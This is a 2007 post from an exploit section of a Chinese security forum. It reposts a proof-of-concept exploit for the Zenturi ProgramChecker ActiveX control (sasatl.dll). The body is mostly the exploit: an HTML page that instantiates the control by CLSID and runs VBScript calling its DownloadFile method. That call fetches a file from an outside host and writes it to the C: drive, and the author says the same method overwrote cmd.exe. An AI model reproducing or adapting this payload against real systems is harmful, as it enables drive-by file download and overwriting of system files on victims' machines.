Zenturi ProgramChecker ActiveX File Download/Overwrite Exploit

ring04h

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员社区主管

帖子: 3917
精华: 128
积分: 209624
阅读权限: 200
性别: 男
在线时间: 1089 小时
注册时间: 2007-10-23
最后登录: 2008-7-4

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-6-12 01:00 只看该作者

Zenturi ProgramChecker ActiveX File Download/Overwrite Exploit

复制内容到剪贴板

代码:

<pre>

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/30</b></p></span>

<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------

 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary file download/overwrite Exploit</b>

 url: [url]http://www.programchecker.com/activeintro.aspx[/url]



 author: shinnai

 mail: shinnai[at]autistici[dot]org

 site: [url]http://shinnai.altervista.org[/url]

 

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 all software that use this ocx are vulnerable to this exploits.



 Using the "DownloadFile" method, you can download everything you want on a pc. This

 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.

-------------------------------------------------------------------------------------------



<object classid=&#39;clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5&#39; id=&#39;test&#39; ></object>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">



<script language=&#39;vbscript&#39;>

Sub tryMe()

 

 test.DownloadFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\shinnai.txt" ,"0", "0"



End Sub

</script>

</span></span>

</code></pre>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Zenturi ProgramChecker ActiveX File Download/Overwrite Exploit